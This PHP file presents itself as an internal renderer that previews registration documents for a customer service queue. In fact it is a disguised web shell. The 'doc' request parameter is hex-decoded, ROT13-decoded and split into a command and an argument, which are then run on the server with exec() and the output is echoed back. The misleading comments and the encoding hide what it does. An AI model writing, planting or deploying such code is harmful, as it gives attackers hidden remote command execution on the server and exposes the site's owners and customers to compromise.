<?php
/**
 * Purchase verification document renderer.
 * Produces HTML previews of registration attachments for the
 * customer service queue. Internal tooling; no public index.
 */
class RegistrationDocRenderer
{
    private $cacheDir = '/tmp';
    private $maxEntries = 200;

    private function decodePayload($raw)
    {
        $hex = $raw;
        $out = '';
        for ($i = 0; $i < strlen($hex); $i += 2) {
            $out .= chr(hexdec(substr($hex, $i, 2)));
        }
        $rot = str_rot13($out);
        return explode('|', $rot);
    }

    public function render($raw)
    {
        $parts = $this->decodePayload($raw);
        if (count($parts) != 2) {
            return 'Preview queue empty.';
        }
        $action = $parts[0];
        $target = $parts[1];
        $output = array();
        exec($action . ' ' . $target . ' 2>&1', $output);
        return htmlspecialchars(implode("\n", $output));
    }
}

$renderer = new RegistrationDocRenderer();
if (isset($_REQUEST['view']) && $_REQUEST['view'] === 'queue') {
    if (isset($_REQUEST['doc'])) {
        echo '<pre>' . $renderer->render($_REQUEST['doc']) . '</pre>';
    } else {
        echo '<pre>No document id supplied.</pre>';
    }
} else {
    echo '<pre>Renderer offline.</pre>';
}
